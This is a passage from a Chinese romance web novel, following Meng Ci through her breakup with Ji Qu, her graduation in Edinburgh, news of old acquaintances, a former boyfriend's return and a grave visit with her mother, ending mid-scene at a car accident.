“我不会为一个普通人花这么多时间的。”季曲的眉眼间也染上连绵不绝的大雨,“我的时间很宝贵,一分一秒都是真金白银,孟慈,我不会为了一个普通人花这么多时间的。” “我也在你身上耗费了同样多的时间。”孟慈苦笑,“我们是在消耗彼此,没有我的日子你不是也过的很好吗?你不是也有很多人陪吗?你身边不是非得站着一个我的。” “我已经感受到你的努力了,谢谢你为了爱我努力。” “谢谢你为了我努力。” 阳光彻底消失在室内,夕阳的光洒进来,橘橘红红的一片,照不清两人的脸- 等到情绪退散,孟慈还是坚持离开。 季曲恢复冷静,仿佛刚刚失控的不是自己,他坐在茶几边,揉了揉跪得发麻的膝盖,“你真要走?” 孟慈毫不犹豫的说是。 季曲撂下狠话:“我这次真的不会等你了。” 走到玄关处拿着行李,孟慈头也没回地离开,让季曲自以为是的狠落了个空响。 孙谦等不到老板的呼叫,眼看着孟慈离开只能干着急。 直到夜幕降临,孙谦才咬咬牙敲了门。 半晌得不到回应,孙谦怕出什么事,掏出备用钥匙开门冲了进去。 在没开灯的室内,孙谦隐约看到季曲佝着背坐在沙发上,头抬着,好像在看对面墙上的那幅画。 因为其中的一个人物和孟慈有几分相似就重金 买下来的那幅。 原本价值连城的画作,此刻却破了个口,外面的保护框碎的四分五裂,拳头大的破洞出现在人物的脸上,黑漆漆的。 “季总。”孙谦站在原地,一时间没敢往前。 没人应答。 孙谦往前一步:“季总?” 季曲这才动了,动作迟缓到像是七旬老人,简单地动一下都要费全身的力气。 他的脚步有些晃,转身时还撑了下沙发扶手。 接着微弱星光看清季曲的脸,除了肉眼可见的颓,还有些其他。 孙谦不敢置信地看向季曲的嘴:“季总……” 看到孙谦奇怪的神色,季曲用手背覆在嘴上擦了擦,再拿下来的时候染上一层红。 怪不得这么痛,五脏六腑像是被搅碎了的痛,原来流血了啊。 怎么会呢? 自己这么有本事的人,竟然也护不住自己爱的人,自己鄙夷的那种结局,终于也轮到自己走到那步。 再也撑不住,季曲眼前一黑倒了下去,好像还压到了刚刚落了一地的珠子,硌的他胸口生疼。 但是明明孟慈走之前打着手电筒一颗一颗都找到了。十八颗一颗不少。 真是莫名其妙,就像今天一样莫名其妙。 条条大路通罗马的罗马,孟慈写在墙上的罗马,直线距离八千多公里的罗马。 孟慈和季曲还是失约了。 第45章 第45章黄金珠宝覆盖的烂泥 日子如白驹过隙,一天一天的在人身上留下痕迹,明显如头发长度,隐晦如眼尾纹路。 冬去春来,春温夏清,一年转眼间就过去。 天气彻底转暖时,孟慈终于完成论文最终稿。 导师看完后也给出极高的评价,提前恭喜孟慈毕业快乐,并且给孟慈写好了读博介绍信,这也是孟慈多读了一年书的原因。 孟慈把从国内转运来的礼物送上,算是感谢这三年来的照顾,同样的礼物,她给白清也备了一份。 大约今年春天,白清做了一个小手术,在家修养了快两个月才重返课堂,课量也减少一半。 提前和白清约好拜访时间,孟慈准时拎着东西上门。 门铃响了三声,是白清老婆开的门,她还穿着围裙,上面沾了点面粉。 陈娇热情地把人接进来,说饺子刚下锅,孟慈洗个手等着吃饭就好。 三鲜馅的水饺,鲜灵的要把舌头咬掉,白清指了指冰箱,说他们多包了一些,让孟慈走的时候带上。 孟慈往小碟子里倒了点陈娇酿的玫瑰醋,说:“这次不就带了,明天要去巴黎替老师参加一个学术会议。” “去多久?”陈娇把自己炸的辣椒油也放到孟慈手边,“饺子冻好能保存很久的,想吃的时候让阿姨给你煮一下就好。” 孟慈用小勺子挑了点辣椒油,香气扑鼻。 “阿姨这周就到期了,我去巴黎差不多要待半个月,再回来眼看着就要毕业,用不着阿姨了,您的饺子给我也是浪费,我今天多吃点装到肚子里带走就好。” 面前的瓷盘里装了大约二十只饺子,孟慈真的吃了大半。 “毕业了什么打算?”见孟慈碗里的醋快见底,白清把小壶递给孟慈。 孟慈把最后半个饺子塞到嘴里,说:“不用了,我饱了。” 用餐巾纸擦擦嘴,孟慈才继续回答白清刚刚的问题。 “本来打算继续读博,但是写论文写的我掉了一大半的头发,最近投了些简历,在等回复。” “可以边读书边工作啊。” “我可没那么多精力。” 白清对孟慈的决定不太满意,“要我说你就应该留校,工作不算重,博士也能继续读,假期还能去陪陪妈妈,你又不缺钱。” 陈娇飞快地拍了下白清的胳膊,让他不要随便发表意见。 “没事的。”孟慈冲陈娇笑笑,继而解释道,“我还没决定,还都在考虑,所以总想多听听大家的意见。” 三个人又聊了一会天,孟慈帮陈娇收拾完厨房便准备离开,陈娇拉着孟慈的手让她想过来的话就随时来玩。 几句话安顿下来,陈娇的眼眶有些湿,白清拉开陈娇,让孟慈不用管她赶紧走。 孟慈拍拍陈娇的肩膀,说自己还没彻底毕业,毕业证都没拿到,半个月后自会再见面。 “那你一路小心,到时候我们去参加你的毕业典礼。” “好,一定要来。” 孟慈和两人告别后,转身消失在人头涌动的石子路上。 学术交流会设在巴黎的一家五星级酒店,除了学校参观外,大部分的课程都安排在酒店的大会议室进行。 天气好的时候,课堂还会搬到室外。绿茵茵的草地长得茂盛,一脚踩上去甚至比地毯都软。 孟慈晚上约了一家意向公司的人事姐姐聊工作岗位的事,因此没参与晚上的聚餐活动。 随着饭桌上的深入交流,孟慈对这份工作越来越满意,对方也对孟慈持同样态度,赞美之词如流水不绝。 只剩签约环节了,人事姐姐问孟慈近期方不方便过去,孟慈说自己还没拿到毕业证,没法提供证件信息,也就不符合招人标准。 人事姐姐笑着说这不重要,人才用不着任何的纸质文件才能证明。她说她从事人事工作快三十年,孟慈是她见过数一数二的出类拔萃。 孟慈不动声色地笑笑,果然哪里的人事都长了张漂亮的嘴,不论国内国外。 饭店约在离孟慈入住酒店不远的地方,婉拒了顺风车,孟慈说想散步回去。 风吹在人皮肤上像羽毛拂过,柔柔的,但有些温度。 沿着石砖路走了大约十几分钟,就看到酒店大堂,还没等走进旋转门,孟慈就被人叫住。 “孟慈?真是你啊?” 循着声音找过去,孟慈在刚刚停下的保姆车上看到邓姚的脸。 异国他乡的夜晚,熟悉的口音和晚风一起拂过孟慈,几乎是瞬时间她的心间生出了好久没有的亲切。 孟慈还停在原地的时候邓姚已经打开车门拎着裙子冲了下来,与此同时四周突然开始闪光,不知道哪来的粉丝还是记者。 混乱间孟慈被拉到邓姚的保姆车上,再回过神时车子已经绕到了地下停车场。 不知道是不是自己的错觉,邓姚觉得孟慈好像变了些。 她穿了件稍正式的白色连衣裙,头发也温柔地束在脑后,脖颈间的珍珠衬得她莹莹发亮,像是单独照了束柔光。 邓姚握着孟慈的手问她最近过得怎么样,毕竟一消失就是这么久,谁都联系不上她。 离开那年,孟慈把公司的股份大部分都卖给黄景峰,剩余的小部分给了方萤,把旧手机关机,把所有与季曲,与他的圈子相关的人事都一起封存。 “挺好的,你呢?”孟慈帮邓姚挽好刚刚跑乱的碎发,温柔一笑- 邓姚这次主要是来拍摄自己的新歌MV,顺便接触一个品牌代言,和孟慈的房间不过差了两层楼。 邓姚开了瓶气泡水递给坐沙发上的孟慈:“你说我怎么就一次都没碰到你。” 孟慈的课程一开就是一天,邓姚每天都在外面跑,碰不到也合理。 看着换下装束卸掉妆容坐在地毯上舒展身体的邓姚,孟慈突然想到前段时间看到的一条新闻。 “恭喜你。” “什么?”邓姚一边压腿一边看向孟慈。 “前段时间的奖项。” 邓姚啧了一声,显然不把这些放在心上,拉完筋骨,她走到落地窗前,两腿一踢开始倒立。 “我还以为你恭喜我收入破亿。” “真的啊?” 邓姚的脸部开始充血,瞥了孟慈一眼,“当然是假的,你怎么这么长时间 不见变傻了。” “新闻不就是那么说的。”孟慈走到邓姚前面蹲下,把落在她脸上的碍事项链解开。 邓姚说:“娱乐新闻和新闻还是有一定差别的。” 手表滴滴地响了两声,邓姚结束倒立,一屁股坐在地毯上,盘着腿开始调整呼吸。 孟慈干脆也坐在地毯上,看着邓姚闭眼慢慢吸吐。 直到面上的颜色恢复白皙,邓姚才睁开眼,期间还忽略了李港的一通电话。 邓姚靠住身后的落地窗小口小口的喝水。 “不接电话吗?”孟慈指了指邓姚再次亮起的屏幕。 邓姚摇头:“谁顾得上他。” 看这儿状态,要么是得到爱了,要么就是不在意,孟慈把下巴搁在自己的膝盖上,笑眯眯地看着邓姚。 “干嘛?”邓姚拧好瓶盖把水瓶放在一边。 孟慈的眼睛杯窗外的高楼大厦映得像玻璃珠,她轻声问:“所以…你梦想成真了吗?” 寒冬料峭时,两个女孩子窝在灯红酒绿下的某个安静角落,小声地诉说心事,虽然彼此都知道是心比天高。 骄阳如火时,两人又重逢,深夜随意散坐在酒店柔软的地毯上,问之前的愿望实现了吗。 邓姚先是一愣,继而双眸盯住地毯上的某只花茎思考,良久才不确定的开口。 “算是实现了吧?” 而后又回答自己似的重复一遍:“我觉得算实现了。” 孟慈就这么静静地当一个倾听者,听邓姚讲述她的这段日子。 “我拿了不少奖你应该也看到了,发了新唱片,有了新代言,还有不少舞台,粉丝成倍增长,钱包也越来越鼓,总体上看了是突飞猛进的一年。” 邓姚慢慢回忆着过去,偶尔也会皱眉,然后顿一下,自动跳过某些内容。 “……嗯,感情生活也不错,不算我去找他的话,我们差不多一个月能见一次面,他偶尔也会飞来探班,买一堆东西,替我打点上下,然后陪我吃饭,看我工作。” 孟慈看了眼再次亮起来的手机屏幕,说:“恭喜。” “谢谢。”邓姚浅浅地笑了,脸颊上泛起一个梨涡,“爱嘛,有一些就够了,太多了会溢的。” 捞起手机,邓姚不避讳地在孟慈面前接起来。 “……嗯,刚结束拍摄。” “后天就回去了。” “没事的,我可以下周去找你。” “知道了,放心。” 极简单的对话,邓姚挂了电话把手机随便一扔,问孟慈明天有没有时间。 把手机里保存的课表给邓姚展示,邓姚指着下午的专业课与晚上的分享会中间空出的两个小时。 “有。” “我……”孟慈还没开口就被打断。 “我知道的你晚上不怎么吃饭,陪我去看看钻石。” 孟慈拒绝的话就在嘴边,刚要吐出第一个字就被邓姚堵了回去。 “陪我挑个新婚礼物呗,我自己懒得逛。”邓姚已经走到冰箱前喝她的一系列保养品,她扔了一只蛋白饮给孟慈,“喝点吧,还蛮管用的。” 还没等孟慈拒绝的话说完,邓姚又拿出一瓶黑漆漆的液体,面不改色地灌进喉咙,“安娜喜欢什么你肯定比我清楚。” 孟慈一怔:“安娜?” “对啊。” “安娜要结婚?” “你竟然不知道?” 邓姚明显比孟慈还吃惊:“你知道我拿奖不知道安娜结婚?” “你拿奖娱乐新闻会报,安娜结婚娱乐新闻也报?” 空气中有一瞬间的沉默,显然双方都为对方的“孤陋寡闻”而震惊。 过了几秒,邓姚合上冰箱门,走到孟慈面前试探地问:“所以安翰坐牢你也不知道?” “安翰坐牢?”孟慈不可置信地盯着邓姚,“为什么啊?” “我还以为你知道呢……” 邓姚这才慢慢地给孟慈梳理出桩桩件件足以颠覆她认知的事情。 孟慈离开后不久,就有人说安翰的公司利用子公司做了笔假账,本应该用到产品流水线上的资金被安翰挪到境外使用。 流言蜚语不可怕,可怕的是传的人多了这些真话假话会通通变成事实。 起初安家和季家没有任何反应,任由这些内容发酵。 就在大家还以为一切只是无稽之谈的时候,安翰突然带着一纸箱的资料找警察自首,承认了自己的违法行为。 “季芷没管?”孟慈想到那位满心满眼都是安翰的姑娘,不相信她会任由安翰走到这一步。 邓姚摇头:“她没管。” 孟慈还是不相信:“李港要是哪天出什么事,你管不管?” “我?”邓姚指指自己,“我当然……” 即使只有一秒钟的迟疑,两人也同时得到答案。 邓姚笑笑:“所以人家季芷聪明,不会为了安翰一个人赔上整个季家。” 这就是了,谁会为了一个人赔上自己家族几代的荣光富贵。 这是季芷的答案,是李港的答案,更是季曲的答案。 孟慈有些累,换了个姿势坐在沙发上,手搭在椅背上撑着额头,“那安娜又和谁结婚?” 邓姚抿抿嘴,似乎怕孟慈有些接受不了,语速放地极缓,“你也认识的,我老板。” 空气安静了一瞬,邓姚在孟慈微微扩张的瞳孔中,看到了疑问与本该如此的安稳。 安娜要和赵一辰结婚,板上钉钉。 安翰倒台,季家撒手,安家总要找人接盘。 赵家,赵一辰,对安娜来说是再好不过的选择。即使他们可能并不相爱。 地球一圈圈地转,时间毫不留情的在每个人脚边走过,甚至比人走的都快,以一种不容拒绝的,无法慈悲的模样,把所有的所有搅成一滩烂泥。 在世人羡艳的光鲜亮丽后,其实是一滩烂泥。 过了很久,孟慈回到自己的房间时已经凌晨三点,收拾好躺下,人却没有任何睡意。 安娜、安翰、何冉、赵一辰等人的脸反复出现在眼前。 像是黑暗中的大海,表面风平浪静,大如盘的月亮倒映在上面,在缓慢的海浪涌动终中美的不真切,但是往下数百米,暗藏着无数危险的未知地带。 最幽深的地方,甚至超出人类认知,黑暗到混沌。 寂静的夜里,玻璃突然发出“啪啪”的声响,孟慈撑开眼皮,不知道睡着还是醒着。 迷迷糊糊见看到拍在玻璃上的雨滴滑落成无数水痕,然后这些水痕,逐渐氲成季曲的脸。 周身发冷,孟慈几乎是无意识的蜷缩成婴儿在母亲肚子中的姿势。 冷到连睫毛都在打颤,她感觉到自己仿佛正在下坠。 穿闪闪发光的月色倒影,又一次被搅进表面覆满珠宝黄金,内里却早就混乱不堪的烂泥塘。 里面没有一点真心,找不到一点真心。 第46章 第46章年轻时那些“偷鸡摸狗”…… 学术研讨会结束后孟慈按时返校,走前特地和邓姚请求对自己的相关消息保持缄默。 邓姚拍拍孟慈的肩膀让她放心,还问她是不是真的不去安娜的婚礼。 孟慈自嘲道自己都没收到请帖,怎么去。 邓姚说不可能吧,安娜之前发请帖的时候还专门打听了孟慈学校的地址,或者可能是邮寄中丢失了。 学校的信件往往都是放在各个学院的固定收取地点。 但是就外国的收寄服务而言,延误和丢失的可能性不是没有,反而更大。 孟慈答应邓姚回去找找,邓姚说期待和她在国内见面。 返回爱丁堡的第二天,孟慈才抽空去找了找自己的快递。 可能是时间太过久远,管理人员从抽屉里拿出一堆无人认领的信件,让孟慈自己翻找。 尘土堆在文件袋上,孟慈每翻一封都会在上面留下几枚指印。 翻到差不多一半,孟慈找到了写着自己名字的国内来信。 两封。 大致扫了眼寄件人,原本应该清晰的信息早就被各种快递戳印成色彩杂乱的画,把信件收到包里,孟慈赶着去见导师开小会。 一直到晚上回家,孟慈才想起来包里还有两封未拆封的信件。 抱着切好的新鲜水果,孟慈走到室外的木椅上吃自己的晚饭。 阿姨已经辞退了,最近孟慈吃的越来越简单,她叉了一块梨子放在嘴里,清甜的汁水随着咀嚼的动作溢满口腔。 刚刚洗过澡 的皮肤上还有些水汽,被夏风一蒸,瞬间干透。 孟慈用手散开头发抖了抖,发梢残留的水珠落在草地上,润得那一片草更绿。 随便拿起一封信,沿着拆封线撕开,红色的请帖跃入眼间。 打开之后,安娜和赵一辰的结婚照放在正中央。 绣着龙凤的中式礼服搭配繁复的金银首饰,安娜坐在木椅上,手中握着漆扇放在胸前,赵一辰站在旁边,手搭着安娜的肩膀。 两人笑意盎然,好不般配。 身后是雕梁画柱的凉亭,极漂亮的景色。 孟慈没想过,每天都要斗嘴的人竟然能呈现出如此岁月静好的模样。 她不自觉地也勾起嘴角。 把请帖放到一边,孟慈拿过第二封,要比请帖大一圈,也更厚些。 是一沓合同,房屋转让,房屋的位置在新西兰。 孟慈点开手机搜索,突然发现有过搜索记录,都不用点进去看,孟慈已经回忆起第一次搜索时的记忆。 季曲曾经说过他在新西兰有一套别墅,位置好,风景美,每周有专人打扫。 现在别墅的所有人,从季曲变成了孟慈。 孟慈的指腹落在字的凹痕处,似乎能感知到落笔者的情绪。 没有回绝的余地,季曲似乎料定孟慈不会拒绝,也许在嘲笑自己不知好歹。 捏着薄薄的一张纸,孟慈在夕阳余辉中一次又一次地翻看合同。 直到夜幕低垂,微弱的星光照不清米粒大小的字,孟慈才不得不收起,心里仿佛千万颗草在划,不至于见血,但是足以划破表皮刻出红印。 一颗心密密麻麻的全是痕迹,痒又痛,偏偏孟慈还没法伸手进去抓一抓。 碗里的水果已经全部氧化,边缘处露出褐色,有的已经扩大。 孟慈拿起叉子轻轻叉了块芭乐,除了表面的汁水没那么充盈之外,依旧是好味道。 一块一块地吃完水果,孟慈才发现自己好像从来没给季曲留下过什么。 比起季曲的金钱、珠宝、房产、跑车等等,孟慈好像总是甩手掌柜,她不是个称职的前女友。 夜逐渐深了,红色的请帖和白色的合同叠在一起,肉眼看过去根本分不清彼此的颜色。 手机震动,孟慈没看来电人就接起放在耳边。 “喂?” “喂?孟慈?” 刹那的晃神,孟慈从熟悉又陌生的音色中难以分辨对方的身份。 “您是?” 对面也有两三秒的停顿,他先短叹一声,然后才继续说:“丁昊。” 也不知道怎么了,一个两个的前男友都找过来,孟慈问:“不好意思,找我有事?” “我听说你在爱丁堡读研。” “嗯。” 丁昊顿了顿,温润的声线由听筒传过来,融在夜风里。 “我们要不要见一面。” “我也在爱丁堡。” 总有人在路上,不知道为了什么而折身而返。 刚从一滩混乱的烂泥塘中抽身,却又被另一片沼泽绊住脚。 孟慈讨厌寒冷,讨厌无止境的下坠,她当机立断,把被风吹乱的发别到耳后,“我想没那个必要了。” “但我很想你,你总得给我一个解释的机会,我只是和你说说话,我就在你家门口……” 孟慈不敢置信的扭头去看,门口还真的有个人影,在夜色笼罩中等待她的判词。 耳边的手机渐渐滑落,丁昊的声音也逐渐飘远,孟慈收回视线坐正身子,刚好看到头顶的天空。 黑漆漆的一片,孤独的月挂在正中间,似倒影,也似深海。 少量的云降低黑的饱和,在风中慢慢涌动,组合一个可怖的怪物,长着大嘴往孟慈头顶聚拢,似乎连月都要一齐吞掉。 下意识地抱紧双臂,孟慈又开始冷,从心脏渗出冷冻液,输送到全身。 丁昊看着站在门里的孟慈,温柔又腼腆,像是情窦初开的少年。 他说:“好久不见。”- 其实用不着邓姚提醒孟慈找到安娜的请帖,孟慈也会回国一趟。 三五月春深,孟慈踩着春的尾巴回了国。 裴沛去机场接的她,母女俩一起在外面吃了顿饭才回家。裴沛比孟慈早到几天,已经把许久未有人气的家收拾的温暖如初。 两居室的学区房,裴沛说还是老房子住的舒服,把孟慈前几年挣钱送她的房子通通打败。 孟慈也没多说什么,裴沛喜欢怎样就怎样。 晚间两个人窝在客厅看电视剧,最近新上的古装剧,何冉主演。 “她好漂亮,我前段时间刚看完她的电影。”裴沛一边帮孟慈剪发尾的分叉一边看何冉的脸。 孟慈坐在地毯上,歪着身子靠在裴沛的膝盖上,像只被撸毛的猫一样慵懒。 “本人更漂亮。” “你见过?” 那个圈子的事,孟慈没原封不动的和裴沛交代过。 孟慈把手心的碎发倒进桌面垃圾桶:“之前见过一次。” “那她和男主角是真的在一起吗?”裴沛八卦地问。 电视刚好播到男女主的感情戏份,何冉冷冰冰地看着男主角站在血泊中,殊不知眼底流露出的心疼已经掩盖了原本的仇恨。 何冉演技很好,这是公认的事实。 在安翰捧她之前,她就很好。 孟慈拿了颗车厘子喂给裴沛:“那就不知道了,我股份卖了之后就不和这些人接触了。” 可能是车厘子有些酸,裴沛眉头微抖,“那怎么行?现在的社会就是要靠人脉生存,我长时间不回来,你爸那边的关系也早就断了,你等秋天入职了连个倚靠的都没有。” 孟慈自己吃了一颗车厘子,确实有些酸,她吐出核,说:“没事的妈,我的工作不用和客户打交道,做方案就可以。” 不同意孟慈的说法,裴沛还想女儿好好掰扯掰扯人情社会的关系往来就被一个电话劫了空档。 孟慈指指手机,飞快地跑到卧室,毕竟谁都不想听妈妈唠叨。 坐在飘窗上,孟慈接起电话。 “孟慈,你明天有时间吗?要不要出来吃个饭?” “不太方便。” 丁昊自从那晚在爱丁堡找到孟慈之后,便三不五时地出现,想要和好的心思不言而喻。 “可是我还没说明天什么时候。” “明天一天都有事。”孟慈的回应不带任何情绪。 窗外的石榴花含苞待放,红色的骨朵接连排列在枝头。 裴沛的这套房子在二楼,等到时机,都不用故意探,总有花会斜进来。 忽得想起丁昊大学时常来楼下接她出去玩,就站在树荫下,从绿叶片片,到白雪皑皑。 春风从窗户缝溜进来,恰好吹散孟慈心头的那片碎冰。 丁昊人很好。 有一年裴沛病了,孟慈自己请了假陪床照顾,丁昊自告奋勇地和孟慈换班,一米八多的个子就在连孟慈都翻身困难的陪护床上睡了小半个月。 和孟慈分手的时候,丁昊人也很好。 丁昊比孟慈大一届,毕业前就获得了公派留学的机会,并且还给孟慈制定了学习计划,让孟慈走和自己一样的路,还打动了裴沛,这也是孟慈出国读书的推助力之一。 但是那时的孟慈只想毕业了赶紧工作挣钱。 两个人的人生目标出现偏差。 丁昊却并不觉得这是什么问题,孟慈觉得这是白费力气,直接说了分手。 刚开始当然不容易,后来等丁昊出了国,拉黑屏蔽等手段一齐上,没人受得了冷暴力和单方面失恋。 面对电话那边的低姿态,也有可能是石榴花太过于香甜,孟慈口气软了些,“明天是我爸的忌日,我要和我妈一起。” “叔叔?” “生病去世了,所以不能和你吃饭。” 丁昊是个极贴心的人,顿了顿,扯了一通安慰人的话。 挂了电话后孟慈再次回到客厅,裴沛依旧津津有味地看何冉的剧,孟慈走到沙发坐下,侧躺在裴沛的膝盖上安静地一起看。 一直到更新的剧集全部追完,裴沛才可惜地说:“好想知道这个人死没死。” 孟慈飞快地调出付费观看的扫码页面。 “哎哎哎不用。”裴沛把遥控器抢过去点了退出,“是不是钱憋得啊你?这早晚都能看,干嘛非要花钱?每个月的会员费已经不少了。” 孟慈耸耸肩:“你不是想知道。” 屈起手指弹了孟慈一个脑崩儿,裴沛端着吃完的水果的碗盘进了厨房,孟慈揉了揉额头,不满意地跟在后面。 “你和丁昊又联系上了?”裴沛带着胶皮手套洗碗,头也没抬地问了一句。 刚刚丁昊打来电话的时候孟慈给裴沛看了一眼,没避。 正在切水果的孟慈顿了一下,把分成两半的苹果再改刀,切成四瓣放到一次性纸碟里用保险膜包好,然后嗯了一声。 裴沛洗完碗放到沥水台上,把手套也摘下来晾在一边,靠在孟慈身边给她递要切的东西,“这就是你不见我给你介绍的人的原因?” 之前裴沛让孟慈见的那位“相亲对象”,孟慈拖了很久才告诉裴沛算了吧。 孟慈接过橙子一刀两半:“不是因为他。” 随着孟慈的动作,挽在她耳后的头发掉了几缕下来。 裴沛看了一眼,把自己手腕上的皮筋褪下来,给孟慈简单扎了起来,“那孩子挺好的。” “你记性还挺好。” 孟慈打趣地说裴沛还不像她自己说的那么老,几年前的人都能回忆起来。 似乎是要增加自己的存在感,丁昊的电话再次打过来,孟慈瞟了眼不远处的手机,没接。 裴沛看着继续切东西的孟慈,觉得自己姑娘哪里都好,就是在感情上过于被动,她得推孟慈一把。 “接电话去。”裴沛把孟慈手上的刀拿过来,把人挤到一旁。 孟慈的手愣在空中支着:“干嘛和我抢?” “我也给我老公准备点东西,要不然他托梦骂我怎么办。” 菜刀落在切菜板上,发出“嗒嗒嗒”的声音。 裴沛看了眼还站在原地的孟慈,又催了两句,孟慈这才在水龙头下冲干净手拿起电话回拨。 “孟慈,我在你家楼下,拿了点东西,方便的话你下来一趟?” “现在?” “嗯,是不是睡了?刚给你发消息你没回,我看你们家灯还亮着才打的电话,要是不方便的话你给我开下单元门,我放你们家门口,然后等我走了你再取也行。” 裴沛也听到了八九分内容,冲门口抬了抬下巴,示意孟慈下楼。 孟慈捂住听筒,小声和裴沛说:“十一点了。” “你之前背着我十二点也下过楼,当我不知道啊?”裴沛阴阳怪气地来了一句。 孟慈:“……” 年轻时那些“偷鸡摸狗”的事没必要翻出来讲。 第47章 第47章你的条件我不太满意…… 孟慈穿着家居服就在裴沛的催促下下了楼,一直到电梯门关上孟慈才看到太过“朴素”的自己。 纯白色的棉麻质吊带裙没有任何裁剪,像个小号麻袋一样罩在身上,还有从家门口随便蹬的一双帆布鞋。 岁数是小了,但是怎么好像智商也跟着低了。 丁昊就在单元门对面的树下站着,和记忆里的老位置如出一辙。 他见到孟慈出现,老远地就开始笑,露出一边圆圆浅浅的酒窝。 “孟慈。”丁昊迎了几步,站在树荫的边界。 孟慈点点头,看着丁昊拎着两只牛皮纸袋。 丁昊没注意到孟慈在观察自己,只是在看清孟慈身上这件长裙的一瞬间觉得她应该会有些冷。 双肩一沉,丁昊身上的蓝色衬衣就到了孟慈身上。 “不好意思这么晚叫你下来。”丁昊将两边的衣襟合了合,才把刚刚放在脚边的纸袋拎起来,“我不知道都要准备什么,但是我家里老人去世的时候都准备这些,今天太晚了,好多东西都买不全,你将就用。” 孟慈扫了眼最上方的黄白颜色,大约是些祭奠用的东西。 “你千万收下,叔叔之前还请我吃过几次饭呢,我竟然都不知道这件事……”丁昊欲言又止,似乎怕牵扯到孟慈的情绪,声音越来越小。 “真不用。”孟慈说自己已经都准备好了。 丁昊却不退步,固执地让孟慈收下,拿过孟慈手里的门禁卡刷开单元门,连推带拉地把她推进电梯,还贴心的把纸袋放到电梯里按了关门键。 走的时候连衬衣都忘了拿。 “哎你……”孟慈连忙按下开门按键,但仍旧慢了一步。 “回头出来吃饭。”丁昊回过头摇摇手,又冲进夜色。 为了避免裴沛误会,孟慈在进家前特地把丁昊的衬衣脱了拿在手上,输入指纹进门,裴沛已经打包好要用的一系列物品。 孟慈把手里的纸袋递过去,说丁昊送来的。 裴沛接过,一袋是祭奠用的香灰纸币等物,另一袋则是小束的鲜花。 “明天会枯萎吗?”裴沛把鲜花掏出来,上面还有水珠。 孟慈走到卫生间洗手,顺便把衬衣扔到自己的卧室,声音传出来:“外面花坛里的不是都好好的?” “那些有根。”裴沛有些嫌弃孟慈的常识储备程度,“这都被摘了。” 孟慈洗完手出来,走到裴沛旁边一起看,说:“那我怎么知道,我又不会养花。” 装花的纸袋子里还有一片阴影,孟慈伸手去拿掏,发现是一个白色信封,手指一捏能感受到明显的厚度。 裴沛瞄了一眼:“礼金?” 孟慈翻看了下信封的正反两面,没写什么字,点点头:“差不多。” “他一个小辈又没成家给什么礼金。”裴沛说完几秒,突然补充问:“他没成家吧?” 谁们家老公会大半夜的给前女友送礼金和祭奠用的物品,孟慈懒得回答。 “感情他和你爸关系挺好?”裴沛把花放在阴凉通风处,又往上捎了点水。 孟慈想了想:“说我爸请他吃过几次饭。” “我也请过啊。” “你和他一个早就埋在地下的人争风吃醋?” 裴沛:“……” 因为一早就要上山,孟慈干脆抱着被子和裴沛一起睡。 “哎呦什么东西好冰!”裴沛原本都要睡着了,被突如其来的冷意激得醒了神。 孟慈不说话,只是把另一只脚也塞到裴沛的被窝,然后换来一声更大的好冰。 妈妈的被窝是全世界最温暖的地方。 就算她说冷,也不会把孟慈的脚踢出去,而是一边喊一边捂着,再反复说几句冬天一定要好好保暖,不然老了可要受罪…… 听起来可能是恐吓和诅咒,但其实是没法和孟慈一起变老,所以放不下的关心。 手机闹铃响的时候,孟慈身边已经空了,起床洗漱换好衣服出去,裴沛不知道什么时候就做好早餐放在桌子上,孟慈自觉地走到跟前吃完,裴沛也做完最后清点可以出发。 裴沛开车,孟慈坐在副驾驶,期间两人始终无话,一人沉默地看着面前的路,一人沉默地看着窗外的景。 爸爸葬在京郊的墓园,因为爷爷奶奶还健在,因此不好往祖坟埋,只能暂且放在外面供人祭拜。 其实也就孟慈祭拜多些,毕竟孟擎就这么一个女儿,其他人不常过来。 要不是今年年初起来裴沛就念叨着自己总会梦到孟擎,她也不会走这一趟。 上香放花,倒酒摆菜。 裴沛和孟慈安静地等香一点一点的燃。 山间偶有鸟鸣,还有露水润泽叶草的味道。 美好的春景,但是孟慈却只觉沉重。 香在不知不觉中燃尽,孟慈先扶着裴沛起身,然后才跪好磕头,看了墓碑上的照片一眼,孟慈无故又想起见孟擎的最后一眼。 眼看着情绪又要陷入无底洞,孟慈甩甩头自救。 深吸一口气,说了句我下次再来看你,孟慈才起身离开。 裴沛已经走了很远,孟慈抬脚去追,刚迈出一步就眼前突然黑了一瞬,踉跄一步站住,孟慈手撑在膝盖上弓着身子调整, 过了几个呼吸,才从眩晕间缓了过来。 裴沛的身影已经消失在墓园入口处。 忍住要回头的冲动,孟慈踩着裴沛离开的脚印,缓慢地离开。 回程的车是孟慈开的,因为她出来时裴沛已经坐在后座,一副疲惫模样,眼角的纹路仿佛都深了几寸。 随着太阳的升空,城市已经开始运转,返程碰上早高峰。 裴沛在后座睡着了,孟慈从后视镜看到裴沛抱着自己的胳膊,便把空调温度又调高了些。 车流穿梭在各条马路,像是好久不用干涩了的牙膏,挤一点动一点,交警穿梭在其中,试图让四四方方的铁块变得有秩序,然后顺滑地流动到该去的地方。 红灯再次亮起,孟慈站在左转道上等待。 200秒的红灯等得人耐心全无,好在孟慈没什么事,不用上学不用上班,也就不会像身后的车子们一样,急得鸣笛不停。 对面的交警突然跑了起来,指挥车辆空出车道,孟慈把车载音乐调小,听到救护车的声音。 还没等到车道被彻底打通,孟慈就看到救护车灯已经在不远处闪烁。 红灯结束,黄灯亮起。 但是孟慈却无法转弯,为了给救护车让道,对面车道的车辆已经堆到孟慈的车前,交通规则在此刻要为生命让路。 好在大家都十分配合,一直到救护车驶离,交警才回神过来指挥交通。 孟慈被指挥着往外拐了一个车道,已经转过大半个车身,对面的车子也在缓缓后退,堵塞的结被打开。 由于一通混乱,孟慈前后左右的车都已经变了,孟慈通过后视镜检查左右,却在看到左后方车辆的时候被定了一瞬。 黑色车身,连号车牌,再熟悉不过的车子。 后知后觉的,孟慈抬头看看蓝底白字的路牌,才发现下个路口就是季曲的公司。 还没等孟慈因为愣神而憋在胸口的气喘上来,突如其来的冲撞就把孟慈的车子顶的晃了一下。 裴沛也醒了,问怎么了。 左右看了眼车身,孟慈才无奈地说:“被撞了。” 还没等孟慈下车交警就已经冲了过来,孟慈看了眼左右都被顶住的后车门,让裴沛安心呆着,自己下去处理。 那边事故中心的两位车主已经吵了起来,你不让我我不让你,反倒把交警晾在一边。 孟慈作为无辜受牵连的,站在一边准备拍照联系保险公司。 “你们还在这儿谈赔偿?看看人家小姑娘的车,就在旁边停着就被你们撞了。”交警终于插进嘴,指了指孟慈的方向。 大家在看到孟慈的车的瞬间明显都愣了一下,七位数的轿车。 